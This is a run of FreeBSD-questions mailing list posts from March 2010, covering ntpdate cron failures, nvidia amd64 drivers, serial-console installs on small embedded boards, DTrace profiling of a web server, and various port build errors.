>> cost of a new Linksys (or equivalent) router in a few months.
>
> If energy consumption is a concern, you might try one of these:
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> http://www.pcengines.ch/alix2d3.htm
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Ðнтон КлеÑÑ skrev 2010-03-12 11:57:
> I have the following line in my root cron:
>
> 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org> /dev/null
>
> That must hourly adjust system time via NTP.
> But I discover that it works from time to time: some days just once, some
> days 5-6 times a day I receive e-mail with text like
>
> 12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization found
>
>
> But if I log in to server and run
>
> # /usr/sbin/ntpdate ru.pool.ntp.org
>
> everything always works OK: it says
>
> 12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset
> -0.616000 sec
>
>
> Maybe NTP server doesn't like when some client (my server) asks it such way
> - once a hour in same minute - and blocks my queries?
>
> Any suggestions?
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Why don't you enable NTP in rc.conf?
http://www.se.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-ntp.html
# NTP
ntpd_enable="YES"
ntpd_config="/etc/ntp.conf"
ntpd_flags="-p /var/run/ntpd.pid"
ntpd_sync_on_start="YES"
/Leslie
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> The machine has a Motherboard that supports 2 double pentium III processors
> with 1GB of ram and a hard disk with 40GB.
>
> It won't do anything else but a dns slave for maybe 100 domains, mail and
> squirrel for 10 domain, not more than 100 users with very low volume. That's
> all.
Wow, that's a big and fast machine, compared to some of the really OLD
boxes that run FreeBSD 8.0 just fine with a load similar to yours (some of
them with 500 MHz CPUs, 128 MB RAM and 20 GB disks). For server
needs, go for 8.0, you won't regret it.
-cpghost.
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Have the 64bit drivers from nVidia been incorporated into the FreeBSD
ports system yet? I read awhile ago that they were being developed;
however, I have not found them present in the ports system.
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On Fri, Mar 12, 2010 at 11:55 AM, Carmel <carmel_ny@hotmail.com> wrote:
> Have the 64bit drivers from nVidia been incorporated into the FreeBSD
> ports system yet? I read awhile ago that they were being developed;
> however, I have not found them present in the ports system.
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Yes they are, they got in to the ports tree a week or so after the
nVidia release. [x11/nvidia-driver]
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I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely
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Devices are:
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<HP 1x8 G2 AUTOLDR 2.80> at scbus0 target 1 lun 1 (pass1,ch0)
connected via:
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svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64
Tapes are regular LTO-3 (HP C7973A).
amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then
simple silence both on sa0 and console)
Has anybody run into this problem with FreeBSD8+mpt+autoloader?
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man ntpdate:
"
-s Divert logging output from the standard output (default) to th=
e
system syslog(3) facility. This is designed primarily for
conve-
nience of cron(8) scripts.
"
Change your cron job to
5 * * * * /usr/sbin/ntpdate -s ru.pool.ntp.org
This will suppress the email you're getting. Consequently, this doesn't
solve the problem of not finding a suitable time server, but for that I'd
suggest enabling ntpd. You should do some reading ('man ntpd') or more
specifically, if you don't want to leave ntpd running, read-up on 'ntpd -q'
which mimmicks the behavior of ntpdate but allows you to use multiple ntp
servers.
--=20
Nathan Vidican
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On Fri, Mar 12, 2010 at 5:57 AM, =D0=90=D0=BD=D1=82=D0=BE=D0=BD =D0=9A=D0=
=BB=D0=B5=D1=81=D1=81 <antoniok.spb@gmail.com> wrote:
> I have the following line in my root cron:
>
> 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org > /dev/null
>
> That must hourly adjust system time via NTP.
> But I discover that it works from time to time: some days just once, some
> days 5-6 times a day I receive e-mail with text like
>
> 12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization
> found
>
>
> But if I log in to server and run
>
> # /usr/sbin/ntpdate ru.pool.ntp.org
>
> everything always works OK: it says
>
> 12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset
> -0.616000 sec
>
>
> Maybe NTP server doesn't like when some client (my server) asks it such w=
ay
> - once a hour in same minute - and blocks my queries?
>
> Any suggestions?
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On Fri, 12 Mar 2010 09:22:07 -0500
Nathan Vidican <nathan@vidican.com> wrote:
> or more specifically, if you don't want to leave ntpd running,
> read-up on 'ntpd -q' which mimmicks the behavior of ntpdate but
> allows you to use multiple ntp servers.
ntpdate supports multiple servers too, you just list them as extra
arguments.
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So, while ru.pool.ntp.org is pool of several servers, I have to run it as
5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org ru.pool.ntp.org
ru.pool.ntp.org> /dev/null
to check 3 servers from pool?
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> On Fri, 12 Mar 2010 09:22:07 -0500
> Nathan Vidican <nathan@vidican.com> wrote:
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> > or more specifically, if you don't want to leave ntpd running,
> > read-up on 'ntpd -q' which mimmicks the behavior of ntpdate but
> > allows you to use multiple ntp servers.
>
> ntpdate supports multiple servers too, you just list them as extra
> arguments.
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> I am a MCA student. and i'd like to install FreeBSD for development purpose
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> So, while ru.pool.ntp.org is pool of several servers, I have to run
> it as
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> 5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org ru.pool.ntp.org
> ru.pool.ntp.org> /dev/null
>
> to check 3 servers from pool?
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You can different servers like this:
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In the last episode (Mar 12), Matthew Seaman said:
> On 12/03/2010 10:37:08, Leslie Jensen wrote:
> > Will Windows users be able to use an ftp client to connect? I've never
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> No, they'll need a SSH/SFTP client to be able to connect. Don't worry
> though -- the clients work exactly like FTP clients: it's all the
> underlying stuff that's different and much more secure.
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> Try WinSCP (http://winscp.net/eng/docs/introduction) as a client. It
> works very much like Norton Commander. Plus it's Free. Or putty for
> those that prefer a CLI environment
> (http://www.chiark.greenend.org.uk/~sgtatham/putty/)
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FileZilla - http://www.filezilla-project.org/
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Hello List,
I try to locate (potential) bottlenecks at a web server:
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% uname -a
FreeBSD bbserver.ipt.ru 8.0-STABLE FreeBSD 8.0-STABLE #3 r203959: Sun Feb 21 11:53:57 MSK 2010 root@bbserver.ipt.ru:/z/obj/z/src/sys/BBSERVER amd64
% top -jd1 | head -20
last pid: 47907; load averages: 2.30, 1.88, 1.90 up 1+17:44:36 11:31:05
177 processes: 4 running, 172 sleeping, 1 zombie
Mem: 916M Active, 558M Inact, 2899M Wired, 2656K Cache, 31M Buf, 3502M Free
Swap: 4096M Total, 4096M Free
PID JID USERNAME THR PRI NICE SIZE RES STATE C TIME WCPU COMMAND
22148 4 88 25 44 0 735M 530M ucond 3 23:05 7.81% mysqld
47705 4 www 1 54 0 223M 58476K select 2 0:07 7.76% httpd
47845 4 www 1 51 0 225M 48800K accept 1 0:02 7.47% httpd
47857 4 www 1 53 0 221M 44308K select 3 0:01 7.47% httpd
47797 4 www 1 51 0 225M 56276K accept 1 0:03 6.59% httpd
47843 4 www 1 50 0 221M 43580K select 3 0:01 6.30% httpd
47873 4 www 1 51 0 233M 52424K CPU2 2 0:01 5.96% httpd
47633 4 www 1 49 0 221M 56476K select 3 0:08 5.76% httpd
47878 4 www 1 47 0 221M 43480K accept 2 0:01 4.30% httpd
47708 4 www 1 52 0 221M 56756K accept 2 0:06 4.20% httpd
47880 4 www 1 52 0 223M 39516K accept 2 0:01 4.05% httpd
47875 4 www 1 49 0 235M 45080K CPU3 3 0:00 4.05% httpd
-----
Let's use dtrace to understand what's going on within 10 seconds
interval and normalize to 1 second:
-----
% cat top-10-count-periodic.d
#pragma D option quiet
BEGIN
{
last = timestamp;
}
syscall:::entry
{
@func[execname] = count();
}
tick-10sec
{
trunc(@func, 10);
normalize(@func, (timestamp - last) / 1000000000);
printa(@func);
clear(@func);
last = timestamp;
}
-----
The result is here:
ftp://ftp.bsam.ru/pub/tmp/top-10-count-periodic.1.log.txt
OK, seems that we are mostly interested at mysqld and httpd processes
(well, not a surprise).
The following script is intended to test and quantize mysqld process:
-----
% cat quant.d
syscall:::entry
/ execname == "mysqld" /
{
self->ts = timestamp;
}
syscall:::return
/ self->ts && execname == "mysqld" /
{
@time[probefunc] = quantize(timestamp - self->ts);
self->ts = 0;
}
-----
The result: ftp://ftp.bsam.ru/pub/tmp/quant.mysqld.1.log.txt
The same D script but for httpd process:
ftp://ftp.bsam.ru/pub/tmp/quant.httpd.1.log.txt
And now can you advise me what to do next? What should I pay
attention to? Thanks!
--
WBR, Boris Samorodov (bsam)
Research Engineer, http://www.ipt.ru Telephone & Internet SP
FreeBSD Committer, http://www.FreeBSD.org The Power To Serve
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On Thu, Mar 11, 2010 at 1:46 PM, Adam Vande More <amvandemore@gmail.com>wrote:
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> On Thu, Mar 11, 2010 at 11:05 AM, Richard DeLaurell <
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>> I made a big mistake the upshot of which is that many of my files
>> (including
>> many port/makefiles) have the wrong date.
>>
>
> maybe try a portnsnap fetch extract, touch -m should help on
> /usr/ports/distfiles/
>
>
Wouldn't the portsnap fetch extract reset the modified dates without a
touch?
But I think your way is probably a good idea nonetheless.
Thanks for the suggestion.
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> I made a big mistake the upshot of which is that many of my files
>> (including
>> many port/makefiles) have the wrong date.
>>
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> Which date, where? Modification date? What is the wrong value they have
> now?
Modification date. It is correct except the year is '11 rather than '10.
As a result, I get a lot of failures when trying to install from ports.
>
I have been unable to recreate the error today for some reason.
I installed a few small ports (xminesweeper, e.g.), but those went in
smoothly.
I haven't tested it, but it may be that the error occurs only when upgrading
a port; make complains that the "new" port is older than the existing.
I will try a few more installs to see which throw the error and try to
relate same on the list for future interest.
I think it might be best just to wait until the next "backup, upgrade,
restore" cycle, like maybe when 8.1 or 8.2 comes out to fix it more
permanently.
In any event, thanks for the help.
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I just freshly installed gpodder from ports (which I updated on
Tuesday), but I get the following errors thrown at me when I try to
start it:
gpodder
Traceback (most recent call last):
File "/usr/local/bin/gpodder", line 162, in <module>
from gpodder import gui
File "/usr/local/lib/python2.6/site-packages/gpodder/gui.py", line 71,
in <module>
from gpodder import my
File "/usr/local/lib/python2.6/site-packages/gpodder/my.py", line 45,
in <module>
from mygpoclient import api
File "/usr/local/lib/python2.6/site-packages/mygpoclient/api.py", line
21, in <module>
from mygpoclient import simple
File "/usr/local/lib/python2.6/site-packages/mygpoclient/simple.py",
line 21, in <module>
from mygpoclient import json
File "/usr/local/lib/python2.6/site-packages/mygpoclient/json.py",
line 20, in <module>
import simplejson as json
ImportError: No module named simplejson
Everything it depended on (including mplayer support and video support)
compiled and installed without any apparent error (as did gpodder).
That's with gpodder run as a regular user.
Trying to run it as the root user throws out the following:
gpodder
Traceback (most recent call last):
File "/usr/local/bin/gpodder", line 138, in <module>
session_bus =3D dbus.SessionBus()
File "/usr/local/lib/python2.6/site-packages/dbus/_dbus.py", line 219,
in __new__
mainloop=3Dmainloop)
File "/usr/local/lib/python2.6/site-packages/dbus/_dbus.py", line 108,
in __new__
bus =3D BusConnection.__new__(subclass, bus_type, mainloop=3Dmainloop=
)
File "/usr/local/lib/python2.6/site-packages/dbus/bus.py", line 125,
in __new__
bus =3D cls._new_for_bus(address_or_type, mainloop=3Dmainloop)
dbus.exceptions.DBusException:
org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/local/bin/dbus-launch
terminated abnormally with the following error: Autolaunch error: X11
initialization failed.
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I am looking forward to engage in FreeBSD by implementing ext3-support
and a suspend to disk facility. If there would be any interest I also
ported my checkroot facility (http://www.elstel.com/checkroot/).
However all these little configuration issues like UTF-8 support are
out of the scope what I can do because I am not a packager. I would be
glad if the responsible packagers or anyone else was willing to engage
in this. At least I will have to think about my engagement in terms of
community support for precious issues like this one.
> Yes! Good of you to say so! Your code and other patches will be
> integrated as soon as you send them.
>
> > Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now?
> > It is considered to be standard charset by now. XML uses it by default.
> > If you are working with texts in different languages there is no
> > alternative to UTF-8.
> > If you chat with a Linux machine you can easily run into charset
> > troubles if you are
> > still using the old iso-8859-1.
>
> > By now it is no problem to activate UTF-8 for your console.
> > However a comprehensive Unicode support would require much more:
> > i.e. configuring all user packages like KDE for Unicode support and
> > asserting that also file names (f.i. from ext2 partitions) are interpreted
> > correctly.
>
>
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> Yep! Geode-based boxes are great. The ALIX boards are looking like
> Soekris gear, which I'm very happy with (of course running FreeBSD):
>
> http://www.soekris.com/net5501.htm
Is there a nice guide that explains how to install FreeBSD onto a
headless system (such as one of these small devices) via serial port?
I've done this once before but it was long ago, and it was actually an
install via floppy disk and CD-ROM combination (IIRC), so that
procedure would not apply here (regarding these tiny devices mentioned
above). The Handbook contains some explanation regarding serial
communication, but I don't believe they really explain _installing_
onto a headless system. Also, in the past, I've had problems
installing FreeBSD via CD-ROM drive that was connected as a USB. I
know that in the past FreeBSD didn't support booting via USB device,
maybe they have fixed that? My last encounter with the USB-boot
problem was with my 1U server that didn't have a CD-ROM drive; I was
not able to install i386 7.0 onto that. I had to open the 1U case and
temporarily hook up an IDE CD-ROM drive. If I remember correctly,
trying to boot from a USB CD-ROM would result in getting a TON of
garbled text scrolling across the screen. I actually posted about
that about 2 years back, and the responses indicated that booting via
USB device was not supported.
My imagination would tell me that to install FreeBSD onto one of these
tiny devices, I would first create an ISO image that would basically
use serial communication for everything, then burn that to a CD, then
boot via USB CD-ROM drive, while having another computer connected to
the serial port of the tiny device (via null modem cable) and using a
command-line tool such as ``cu'' from the other computer.
I would be very interested into looking into purchasing one of these
small devices, but I'm really scared about the FreeBSD install
procedure.
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Hi, Elmar--
On Mar 12, 2010, at 9:54 AM, Elmar Stellnberger wrote:
> I am looking forward to engage in FreeBSD by implementing ext3-support
> and a suspend to disk facility.
mount_ext2fs or fusefs ought to work with ext3 filesystems.
zzz or "acpiconf -s 4" ought to address the suspend to disk facility, but it depends greatly upon the quality of the BIOS to actually conform with the ACPI spec.
> If there would be any interest I also ported my checkroot facility (http://www.elstel.com/checkroot/).
How is this different from what's already available:
http://www.freebsd.org/doc/handbook/updating-upgrading-freebsdupdate.html
...or via something like tripwire? If you're only doing MD5 and not something like SHA1 or SHA256 (or multiple checksums, better yet), I don't see the point
> However all these little configuration issues like UTF-8 support are
> out of the scope what I can do because I am not a packager.
I'm not sure what you mean by "UTF-8" support. FreeBSD itself does reasonably well, and the quality of third-party ports varies.
> I would be glad if the responsible packagers or anyone else was willing to engage
> in this. At least I will have to think about my engagement in terms of
> community support for precious issues like this one.
It's unclear what you mean by this. At the basic level, things happen by people writing changes and submitting patches. There is no shortage of opinions which are sadly lacking code. :-)
Regards,
--
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Nerius Landys <nlandys@gmail.com> writes:
> Is there a nice guide that explains how to install FreeBSD onto a
> headless system (such as one of these small devices) via serial port?
It's documented in the installation chapter of the Handbook.
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Does it make any difference if one adds packages to a new system
before or after using cvsup to bring the patch level up to date?
I ask this because it takes about half an hour to go
from nothing to a bootable system via a script but it can take
several hours for cvsub to update the kernel sources and then
the rebuild of the world to take place.
If it won't effect the operation of such things as bind
and dhcpd, one could bring the services up while it is being patched
and just let everyone know that there will be another short
outage when the rebuild of the kernel is done and we reboot to
take advantage of the new patches.
Thank you.
Martin McCormick WB5AGZ Stillwater, OK
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On Fri, Mar 12, 2010 at 7:26 PM, Nerius Landys <nlandys@gmail.com> wrote:
>> Yep! Geode-based boxes are great. The ALIX boards are looking like
>> Soekris gear, which I'm very happy with (of course running FreeBSD):
>>
>> http://www.soekris.com/net5501.htm
>
> Is there a nice guide that explains how to install FreeBSD onto a
> headless system (such as one of these small devices) via serial port?
Basically, you have two options:
1. Boot diskless with PXE, and install FreeBSD over the network:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-diskless.=
html
http://jdc.parodius.com/freebsd/pxeboot_serial_install_8.html
2. Install FreeBSD on a HDD or CF from a working computer, then move
the disk/card to the embedded device.
For Soekris (and probably ALIX as well, since it's also GEODE-based),
there are specific kernel config options that you may or may not need:
http://wiki.soekris.info/Installing_FreeBSD
Once you've installed FreeBSD, remember to tweak /etc/ttys, so that
getty spaws a login: on the serial console. Especially, turn ttyv0 off
and ttyu0 on:
ttyv0 "/usr/libexec/getty Pc" cons25 off secure
ttyu0 "/usr/libexec/getty std.9600" dialup on secure
> I've done this once before but it was long ago, and it was actually an
> install via floppy disk and CD-ROM combination (IIRC), so that
> procedure would not apply here (regarding these tiny devices mentioned
> above). =A0The Handbook contains some explanation regarding serial
> communication, but I don't believe they really explain _installing_
> onto a headless system. =A0Also, in the past, I've had problems
> installing FreeBSD via CD-ROM drive that was connected as a USB. =A0I
> know that in the past FreeBSD didn't support booting via USB device,
> maybe they have fixed that? =A0My last encounter with the USB-boot
> problem was with my 1U server that didn't have a CD-ROM drive; I was
> not able to install i386 7.0 onto that. =A0I had to open the 1U case and
> temporarily hook up an IDE CD-ROM drive. =A0If I remember correctly,
> trying to boot from a USB CD-ROM would result in getting a TON of
> garbled text scrolling across the screen. =A0I actually posted about
> that about 2 years back, and the responses indicated that booting via
> USB device was not supported.
>
> My imagination would tell me that to install FreeBSD onto one of these
> tiny devices, I would first create an ISO image that would basically
> use serial communication for everything, then burn that to a CD, then
> boot via USB CD-ROM drive, while having another computer connected to
> the serial port of the tiny device (via null modem cable) and using a
> command-line tool such as ``cu'' from the other computer.
>
> I would be very interested into looking into purchasing one of these
> small devices, but I'm really scared about the FreeBSD install
> procedure.
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George Liaskos <geo.liaskos@gmail.com> articulated:
> On Fri, Mar 12, 2010 at 11:55 AM, Carmel <carmel_ny@hotmail.com>
> wrote:
> > Have the 64bit drivers from nVidia been incorporated into the
> > FreeBSD ports system yet? I read awhile ago that they were being
> > developed; however, I have not found them present in the ports
> > system.
>
> Yes they are, they got in to the ports tree a week or so after the
> nVidia release. [x11/nvidia-driver]
Actually, that is not the latest version,
<http://www.freebsdnews.net/2010/03/05/download-nvidia-195-36-08-freebsd-display-driver/>
is the latest. Also, they appear to be waiting for when Linux/x86-64
compatibility is added to FreeBSD/amd64 is completed.
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I'm interested on something to have new jails auto deployed and configured with some polices.
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On Fri, Mar 12, 2010 at 8:04 PM, Carmel <carmel_ny@hotmail.com> wrote:
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> George Liaskos <geo.liaskos@gmail.com> articulated:
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>> On Fri, Mar 12, 2010 at 11:55 AM, Carmel <carmel_ny@hotmail.com>
>> wrote:
>> > Have the 64bit drivers from nVidia been incorporated into the
>> > FreeBSD ports system yet? I read awhile ago that they were being
>> > developed; however, I have not found them present in the ports
>> > system.
>>
>> Yes they are, they got in to the ports tree a week or so after the
>> nVidia release. [x11/nvidia-driver]
>
> Actually, that is not the latest version,
> <http://www.freebsdnews.net/2010/03/05/download-nvidia-195-36-08-freebsd-=
display-driver/>
> is the latest. Also, they appear to be waiting for when Linux/x86-64
> compatibility is added to FreeBSD/amd64 is completed.
>
>
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195.22 beta is the only version that nvidia has released for FBSD/amd64.
You can refer to the following post about the current official releases :
http://www.nvnews.net/vbulletin/showthread.php?t=3D127019
195.36.08 is removed from web && ftp thus, the latest official release is 1=
90.53
Regards.
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On 3/12/2010 2:39 PM, C. P. Ghost wrote:
> On Fri, Mar 12, 2010 at 7:26 PM, Nerius Landys <nlandys@gmail.com> wrote:
>>> Yep! Geode-based boxes are great. The ALIX boards are looking like
>>> Soekris gear, which I'm very happy with (of course running FreeBSD):
>>>
>>> http://www.soekris.com/net5501.htm
>>
>> Is there a nice guide that explains how to install FreeBSD onto a
>> headless system (such as one of these small devices) via serial port?
>
> Basically, you have two options:
>
> [...]
>
> 2. Install FreeBSD on a HDD or CF from a working computer, then move
> the disk/card to the embedded device.
A slight variant of this, which I used to get OpenBSD on my Alix board,
is to boot the installer in VMware Workstation with your CF card
connected as a VMware physical disk. This makes it easy to get up and
running if all you have is a USB CF adapter, because within VMware
FreeBSD will see it as a SCSI disk. Plus you get to save a CD-R/DVD-R
by mounting the installer ISO in VMware without burning it to disc :)
So don't worry, installing FreeBSD or OpenBSD in this manner is super
easy; it's basically the same as any other installation, just with the
added step of setting up the serial console at the very end.
--
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On Fri, Mar 12, 2010 at 12:44, George Liaskos <geo.liaskos@gmail.com> wrote:
> On Fri, Mar 12, 2010 at 6:22 PM, Jason Garrett <kingedgar@gmail.com>
> wrote:
> >
> >
> > On Fri, Mar 12, 2010 at 06:39, George Liaskos <geo.liaskos@gmail.com>
> wrote:
> >>
> >> On Fri, Mar 12, 2010 at 11:55 AM, Carmel <carmel_ny@hotmail.com> wrote:
> >> > Have the 64bit drivers from nVidia been incorporated into the FreeBSD
> >> > ports system yet? I read awhile ago that they were being developed;
> >> > however, I have not found them present in the ports system.
> >> >
> >> > --
> >> >
> >> > Carmel
> >> > carmel_ny@hotmail.com
> >> >
> >> > |::::=======
> >> > |::::=======
> >> > |===========
> >> > |===========
> >> > |
> >> >
> >> > Oregano, n.: The ancient Italian art of pizza folding.
> >> >
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> >> Yes they are, they got in to the ports tree a week or so after the
> >> nVidia release. [x11/nvidia-driver]
> >>
> >> Regards.
> >
> > Just a FYI:
> >
> > ONLY_FOR_ARCHS= i386
> >
> > It still appears this is i386 only, NOT 64 bit.
> >
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> Please see revision 1.94
> http://www.freebsd.org/cgi/cvsweb.cgi/ports/x11/nvidia-driver/Makefile
>
> .if ${DISTVERSION} == 195.22
> MASTER_SITE_SUBDIR= XFree86/FreeBSD-x86${ARCH_SUFX}/${DISTVERSION}
> ONLY_FOR_ARCHS= i386 amd64
> .else
>
>
This is not in my ports tree on 8.0, why is this so if it is listed on the
website?
> Regards.
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> On Fri, Mar 12, 2010 at 12:44, George Liaskos <geo.liaskos@gmail.com>wrote:
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>> On Fri, Mar 12, 2010 at 6:22 PM, Jason Garrett <kingedgar@gmail.com>
>> wrote:
>> >
>> >
>> > On Fri, Mar 12, 2010 at 06:39, George Liaskos <geo.liaskos@gmail.com>
>> wrote:
>> >>
>> >> On Fri, Mar 12, 2010 at 11:55 AM, Carmel <carmel_ny@hotmail.com>
>> wrote:
>> >> > Have the 64bit drivers from nVidia been incorporated into the FreeBSD
>> >> > ports system yet? I read awhile ago that they were being developed;
>> >> > however, I have not found them present in the ports system.
>> >> >
>> >> > --
>> >> >
>> >> > Carmel
>> >> > carmel_ny@hotmail.com
>> >> >
>> >> > |::::=======
>> >> > |::::=======
>> >> > |===========
>> >> > |===========
>> >> > |
>> >> >
>> >> > Oregano, n.: The ancient Italian art of pizza folding.
>> >> >
>> >> > _______________________________________________
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>> >> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions
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>> >> >
>> >>
>> >> Yes they are, they got in to the ports tree a week or so after the
>> >> nVidia release. [x11/nvidia-driver]
>> >>
>> >> Regards.
>> >
>> > Just a FYI:
>> >
>> > ONLY_FOR_ARCHS= i386
>> >
>> > It still appears this is i386 only, NOT 64 bit.
>> >
>> >> _______________________________________________
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>>
>> Please see revision 1.94
>> http://www.freebsd.org/cgi/cvsweb.cgi/ports/x11/nvidia-driver/Makefile
>>
>> .if ${DISTVERSION} == 195.22
>> MASTER_SITE_SUBDIR= XFree86/FreeBSD-x86${ARCH_SUFX}/${DISTVERSION}
>> ONLY_FOR_ARCHS= i386 amd64
>> .else
>>
>>
> This is not in my ports tree on 8.0, why is this so if it is listed on the
> website?
>
Nevermind and sorry for the noise, I ran a portsnap fetch/update and now it
is there.. it was not after this mornings fetch/update.
>
>
>> Regards.
>>
>
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> Does it make any difference if one adds packages to a new system
> before or after using cvsup to bring the patch level up to date?
By "bringing the patch level up to date" I assume you mean a tag such
as this one:
*default release=cvs tag=RELENG_8_0
in your standard-supfile file, and then doing the "make buildworld"
etc. prodedure outlined in the Handbook.
The release branches (such as RELENG_8_0) get only very minor
modifications from the time the release is made. The patches are only
ones that address really serious issues, and the extent of the changes
is usually very minimal. Whather you install ports before or after
you update to the latest patch for your release should make absolutely
no difference.
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>> Does it make any difference if one adds packages to a new system
>> before or after using cvsup to bring the patch level up to date?
>
> By "bringing the patch level up to date" I assume you mean a tag such
> as this one:
>
> *default release=cvs tag=RELENG_8_0
>
> in your standard-supfile file, and then doing the "make buildworld"
> etc. prodedure outlined in the Handbook.
>
> The release branches (such as RELENG_8_0) get only very minor
> modifications from the time the release is made. The patches are only
> ones that address really serious issues, and the extent of the changes
> is usually very minimal. Whather you install ports before or after
> you update to the latest patch for your release should make absolutely
> no difference.
To clarify, ports (/usr/ports/) and your base system (/usr/src/) are
independent. When RELENG_8_0 gets a new patch, it has nothing to do
with ports.
Are you using precompiled packages or building from ports?
Precompiled packages don't get updated after a release is made. I
think most people build ports from source instead of using the
precompiled package system. This way, your ports will continue to be
updated with the latest fixes. By building ports from source I mean
``cd /usr/ports/category/portname/ ; make install clean''.
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> I haven't tested it, but it may be that the error occurs only when
> upgrading a port; make complains that the "new" port is older than
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>> Yep! Geode-based boxes are great. The ALIX boards are looking like
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>> http://www.soekris.com/net5501.htm
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> I would be very interested into looking into purchasing one of these
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not to sidetrack the discussion, but you might want to take a look at
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Hello FreeBSD users,
The following link:
http://www.supermicro.com/Aplus/support/resources/OS/OS_Comp_AMD_2.cfm
shows FreeBSD 7.0 compatibility with (IDE Drive). I would like to
use SATA drives. Have you tested new FreeBSD versions?
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This just shows gui frontends for mkisofs.
Need to create iso. How to do it?
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Hi:
I want to upgrade my BerkeleyDB, I have some 500MB in BDB 43.
- What is the latest stable version?
- Is there any way of determining if datafiles are compatible
across versions?
- Is there any tool for migrating between versions?
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> http://www.freebsd.org/cgi/ports.cgi?query=mkisofs&stype=all&sektion=all
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> This just shows gui frontends for mkisofs.
>
> Need to create iso. How to do it?
>
Installing the port /usr/ports/sysutils/cdrtools/ installs mkisofs
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> I want to upgrade my BerkeleyDB, I have some 500MB in BDB 43.
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> - What is the latest stable version?
> - Is there any way of determining if datafiles are compatible
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> http://www.freebsd.org/cgi/ports.cgi?query=mkisofs&stype=all&sektion=all
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> This just shows gui frontends for mkisofs.
>
> Need to create iso. How to do it?
The mkisofs program is part of the cdrtools port / package.
After installing it, you would do something like this:
% mkisofs -r -o myisofile.iso myfiles/
Keep in mind that it may be needed to specify additional
options if you need "Joliet" extension - see "man mkisofs".
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On 3/12/10, Chuck Swiger <cswiger@mac.com> wrote:
> Hi, Elmar--
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> On Mar 12, 2010, at 9:54 AM, Elmar Stellnberger wrote:
>> I am looking forward to engage in FreeBSD by implementing ext3-support
>> and a suspend to disk facility.
>
> mount_ext2fs or fusefs ought to work with ext3 filesystems.
>
> zzz or "acpiconf -s 4" ought to address the suspend to disk facility, but it
> depends greatly upon the quality of the BIOS to actually conform with the
> ACPI spec.
>
I believe that OP is talking about OS support and not about BIOS support.
Linux _have_ OS support for suspend to disk, freebsd does not.
>> If there would be any interest I also ported my checkroot facility
>> (http://www.elstel.com/checkroot/).
>
> How is this different from what's already available:
>
> http://www.freebsd.org/doc/handbook/updating-upgrading-freebsdupdate.html
>
> ...or via something like tripwire? If you're only doing MD5 and not
> something like SHA1 or SHA256 (or multiple checksums, better yet), I don't
> see the point
>
>> However all these little configuration issues like UTF-8 support are
>> out of the scope what I can do because I am not a packager.
>
> I'm not sure what you mean by "UTF-8" support. FreeBSD itself does
> reasonably well, and the quality of third-party ports varies.
>
>> I would be glad if the responsible packagers or anyone else was willing to
>> engage
>> in this. At least I will have to think about my engagement in terms of
>> community support for precious issues like this one.
>
> It's unclear what you mean by this. At the basic level, things happen by
> people writing changes and submitting patches. There is no shortage of
> opinions which are sadly lacking code. :-)
>
> Regards,
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Good day!
I'm running FreeBSD 8.0-STABLE-201002 amd64.
Trying to install KDE4 from port, compiling the sources, I get xmlto-0.0.23
building fault:
# cd /usr/ports/x11/kde4/
# make install clean
<...>
===> Building for
xmlto-0.0.23
make
all-am
for xml in xmlif.xml xmlto.xml; do FORMAT_DIR=./format /usr/local/bin/bash
./xmlto -o man/man1 man ./doc/$xml ; done || ( RC=$?; exit $RC
)
xmlto: /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml does not
validate (status
3)
xmlto: Fix document syntax or use --skip-validation option
I/O error : Attempt to load network entity
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
/usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml:4: warning:
failed to load external entity "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
"http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
^
I/O error : Attempt to load network entity
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
warning: failed to load external entity "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
validity error : Could not load the external subset "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
Document /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlif.xml does
not validate
xmlto: /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml does not
validate (status 3)
xmlto: Fix document syntax or use --skip-validation option
I/O error : Attempt to load network entity
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
/usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml:3: warning:
failed to load external entity "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
"http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
^
I/O error : Attempt to load network entity
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
warning: failed to load external entity "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
validity error : Could not load the external subset "
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd"
Document /usr/ports/textproc/xmlto/work/xmlto-0.0.23/./doc/xmlto.xml does
not validate
*** Error code 13
Stop in /usr/ports/textproc/xmlto/work/xmlto-0.0.23.
*** Error code 1
Stop in /usr/ports/textproc/xmlto/work/xmlto-0.0.23.
*** Error code 1
Stop in /usr/ports/textproc/xmlto.
*** Error code 1
Stop in /usr/ports/textproc/xmlto.
*** Error code 1
Stop in /usr/ports/print/system-config-printer.
*** Error code 1
Stop in /usr/ports/print/kdeutils4-printer-applet.
*** Error code 1
Stop in /usr/ports/misc/kdeutils4.
*** Error code 1
Stop in /usr/ports/misc/kdeutils4.
*** Error code 1
Stop in /usr/ports/x11/kde4.
*** Error code 1
Stop in /usr/ports/x11/kde4.
But I can manually download this file:
# fetch http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
